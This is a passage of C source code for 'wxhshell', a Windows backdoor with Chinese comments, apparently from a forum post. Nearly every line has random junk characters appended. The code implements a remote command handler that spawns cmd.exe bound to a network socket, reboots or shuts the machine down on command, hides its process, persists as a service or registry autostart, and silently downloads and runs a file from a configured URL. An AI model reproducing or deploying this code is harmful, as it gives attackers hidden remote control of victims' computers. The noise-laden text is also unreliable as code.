  rx#GrV*y  
  // 帮助 phA{jJy?  
  case '?': { OS(Ua  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w?fq%-6f*  
    break; R%t6sbsNv  
  } R SWw4}  
  // 安装 YuO!Y9iEm  
  case 'i': { Cvt/ot-J?  
    if(Install()) F` gK6;zp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ER!s  
    else jX$U)O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lUnC+w#[  
    break; LChwHkRHJI  
    } =`MQKh,  
  // 卸载 |gk"~D  
  case 'r': { L Do~  
    if(Uninstall()) )ARV>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FgP{  
    else 2xy{g&G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G!F_Q7|-  
    break; Z_jV0[\v0P  
    } CC`#2j  
  // 显示 wxhshell 所在路径 l,QO+ >)z  
  case 'p': { 5@bmm]  
    char svExeFile[MAX_PATH]; ;;^?vS  
    strcpy(svExeFile,"\n\r"); -q-BP}r3  
      strcat(svExeFile,ExeFile); C?g*c  
        send(wsh,svExeFile,strlen(svExeFile),0); \@NnL\ t u  
    break; G&N),wsNZK  
    } zLS?: yq  
  // 重启 1TN+pmc}@  
  case 'b': { +q432ZG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZQ\O| n8  
    if(Boot(REBOOT)) V22Br#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /T&+vzCF  
    else { YpSK |(  
    closesocket(wsh); a\ MJh+K  
    ExitThread(0); @, z4{B  
    } WR* <|  
    break; cR6 #$-a  
    } \S?;5LacZ  
  // 关机 1$yS Ii  
  case 'd': { 2+YM .Zl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YMwL(m1  
    if(Boot(SHUTDOWN)) |' kC9H[>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQbgk+&wD  
    else { Es:oXA  
    closesocket(wsh); EF6"PH+J@  
    ExitThread(0); m FC9\   
    } <;Td8T;  
    break; ,UT :wpc^i  
    } ~05(92bK  
  // 获取shell 8\`otJY  
  case 's': { *U,W4>(B  
    CmdShell(wsh); S }G3ha  
    closesocket(wsh); F B&l|#e  
    ExitThread(0); nhq,Y0YH  
    break; eGrxS;NY  
  } Xr|e%]!**  
  // 退出 h4>q~&Pd  
  case 'x': { Y-"7R>^I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q+67Wc=  
    CloseIt(wsh); g.Kyfs4`  
    break; !xC IvKW  
    } c=:A/z{  
  // 离开 PtKrks|y  
  case 'q': { A$J?-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v kW2&  
    closesocket(wsh); WWIQ6EJO  
    WSACleanup(); d[e;Fj!  
    exit(1); 7lQ:}&  
    break; &,=t2_n  
        } G"p rq&  
  } RjHKFB2  
  } Z9I ?j1K|!  
.|J-(J<>[.  
  // 提示信息 >D$NEO^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ozG!OiRW  
} M|'![]-  
  } 5AAPtZ\lH  
<K~mg<ff$  
  return; YjeHNPf  
} PKNpR  
ddeH-Z  
// shell模块句柄 m-|~tve  
int CmdShell(SOCKET sock) F!6;< !&h  
{ BIEeHN4  
STARTUPINFO si; 8:Jc2K  
ZeroMemory(&si,sizeof(si)); ')v<MqBr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _s NJU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C@FX[:l@-  
PROCESS_INFORMATION ProcessInfo; @arMg2"o  
char cmdline[]="cmd"; X$$b:q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?pp|~A)b  
  return 0; -*"Q-GO  
} q+Qrc]>-f  
JKYkS*.a}  
// 自身启动模式 F,$ypGr  
int StartFromService(void) |^kfa_d  
{ mwqe@7  
typedef struct ew6\Z$1c~  
{ .Vb\f  
  DWORD ExitStatus; <<ifd?  
  DWORD PebBaseAddress; zE4TdT1y|  
  DWORD AffinityMask; ,~xX[uB  
  DWORD BasePriority; 5Og=`T  
  ULONG UniqueProcessId; A^hFRAg4  
  ULONG InheritedFromUniqueProcessId; hQDZ%>  
}   PROCESS_BASIC_INFORMATION; hX sH9R  
VZ$FTM^b8  
PROCNTQSIP NtQueryInformationProcess; NYN(2J  
K.2l)aRd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /M8&`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]$a,/Jt  
N[dv  
  HANDLE             hProcess; b!-F!Lq/+0  
  PROCESS_BASIC_INFORMATION pbi; 5"&{Egc_  
;K<W<v5m0N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g_t1(g*s  
  if(NULL == hInst ) return 0; SAw. 6<Wy-  
l?LP:;S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lr`G. e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); El`f>o+EJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3a]Omuu|=  
xp"5L8:C  
  if (!NtQueryInformationProcess) return 0; JRl`evTS  
lCMU{)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q`DilZ]S  
  if(!hProcess) return 0; h$y0>eMWs  
s+yX82Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  } h0 )  
O E56J-*}x  
  CloseHandle(hProcess); V$XCe  
6H_7M(f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); } h pTS_  
if(hProcess==NULL) return 0; Y^W.gGM  
$s-HG[lX[  
HMODULE hMod; \+B+M 7  
char procName[255]; G_UxR9Qo  
unsigned long cbNeeded; 9&uWj'%ia  
(VzabO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `^7ARr/  
LlfD>cN  
  CloseHandle(hProcess); DsP FB q  
?~>#(Q  
if(strstr(procName,"services")) return 1; // 以服务启动 (qM(~4|`  
=W~K_jE5lo  
  return 0; // 注册表启动 w %sHA  
} tag~SG`ov  
/*8Ms`  
// 主模块 r6*~WM|Sq7  
int StartWxhshell(LPSTR lpCmdLine) tv1Z%Mx?Cp  
{ =8F]cW'1`  
  SOCKET wsl; SXx2   
BOOL val=TRUE; 7VQk$im399  
  int port=0; WhHnF*I  
  struct sockaddr_in door; z rV  
zT5@wm  
  if(wscfg.ws_autoins) Install(); iB,Nqs3 i*  
u.s-/ g  
port=atoi(lpCmdLine); $zvqjT:>  
<U ?_-0  
if(port<=0) port=wscfg.ws_port; ZiS<vWa3R  
TZ,kmk#  
  WSADATA data; szy^kj^2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9"YOj_z  
S%7^7MSqA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BiUOjQC#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _g(4-\  
  door.sin_family = AF_INET; &_EjP hZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @Gj|X>0  
  door.sin_port = htons(port); MQv2C@K9F  
Ux Yb[Nbc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M)oy3y^&  
closesocket(wsl); !?7c2QRN  
return 1; _bO4s#yI  
} IW.~I,!x  
=A,6KY=E  
  if(listen(wsl,2) == INVALID_SOCKET) { }I\hO L  
closesocket(wsl); .WR+)^&zz  
return 1; 5)MVkJ=R  
} *y;(c)_w/%  
  Wxhshell(wsl); PfI~`ke  
  WSACleanup(); /k(KA [bS  
iS{8cN3R  
return 0; Q( C\X  
iJza zQ  
} [CU]fU{$  
)PU?`yLTr  
// 以NT服务方式启动 tp,e:4\ 8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) od7 [h5r  
{ |X6]#&g7  
DWORD   status = 0; VHJ-v!  
  DWORD   specificError = 0xfffffff; F~cvob{  
SV4a_m?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2<*DL 6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =jX'FNv#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;c'9Xyl-  
  serviceStatus.dwWin32ExitCode     = 0; 1R1DK$^c  
  serviceStatus.dwServiceSpecificExitCode = 0; Dwq}O  
  serviceStatus.dwCheckPoint       = 0; e)[>E\u_  
  serviceStatus.dwWaitHint       = 0; j zaC  
V(%L}0[]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v}v! hs Q  
  if (hServiceStatusHandle==0) return; :h>d'+\  
\B'rWk 33,  
status = GetLastError(); 1%YjY"j+  
  if (status!=NO_ERROR) ]8|cV GMa  
{ k:Iz>3O3]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S0_#h)  
    serviceStatus.dwCheckPoint       = 0; BTwLx-p9t  
    serviceStatus.dwWaitHint       = 0; m8q3Pp  
    serviceStatus.dwWin32ExitCode     = status; 2\xv Yf-  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3%<Uq%pJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L,&R0gxi  
    return; H*DWDJxmV  
  } :RsO $@0G  
l@8UL</W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vxxa,KR/y  
  serviceStatus.dwCheckPoint       = 0; y;+5cn C  
  serviceStatus.dwWaitHint       = 0; f#RI&I\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mt@P}4   
} ?d*0-mhQ,  
wL'tGAv  
// 处理NT服务事件,比如:启动、停止 qYHAXc}$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^rI<}cfR  
{ .:KZ8'g3}  
switch(fdwControl) g.v)qB  
{ nwk66o:|  
case SERVICE_CONTROL_STOP: >9o(84AxIH  
  serviceStatus.dwWin32ExitCode = 0; /qW5M4.w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 17Q1Xa  
  serviceStatus.dwCheckPoint   = 0; }U=|{@%  
  serviceStatus.dwWaitHint     = 0;  q$$:<*Uy  
  { e>-a\g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fX,L;Se"  
  } 6B)3SC  
  return; }E5oa\ 1u  
case SERVICE_CONTROL_PAUSE: 2 0Xqs,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | fMjg'%{}  
  break; c5K@<=?,E  
case SERVICE_CONTROL_CONTINUE: =_%i5]89P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8]6u]3q#  
  break; Z&hzsJK{m$  
case SERVICE_CONTROL_INTERROGATE: V0Cz!YM_3  
  break; b_&;i4[  
}; o#KGENd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /P~@__XN  
} x&6SjlDb$K  
(vCMff/ Y1  
// 标准应用程序主函数 B/S~Jn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -9XB.)\#  
{ VtX9}<Ch~  
#On EQ:  
// 获取操作系统版本 lP>}9^7I!  
OsIsNt=GetOsVer(); ~c>*3*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -jc8ku3*  
(3YI>/#  
  // 从命令行安装 ^`Tns6u>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~c~$2Xo  
PiD%PBmUl  
  // 下载执行文件 HH>"J /;c,  
if(wscfg.ws_downexe) { Ih*}1D)7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;$|[z<1RdW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3PB#m.N<  
} P@ewr}  
@add'>)  
if(!OsIsNt) { Ju""i4  
// 如果时win9x,隐藏进程并且设置为注册表启动 j)K[A%(  
HideProc(); E,I*E{nd9  
StartWxhshell(lpCmdLine); b[Z5:[@\#  
} &uwj&-u?  
else ~f&lQN'1  
  if(StartFromService()) OI3UC=G  
  // 以服务方式启动 L&wJ-}'l  
  StartServiceCtrlDispatcher(DispatchTable); gA)!1V+:  
else *u$MqN  
  // 普通方式启动 cd8~y  
  StartWxhshell(lpCmdLine); tAfdbt  
xtef18i>  
return 0; 1Ih.?7}  
}
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只看该作者 1 发表于: 2006-10-10
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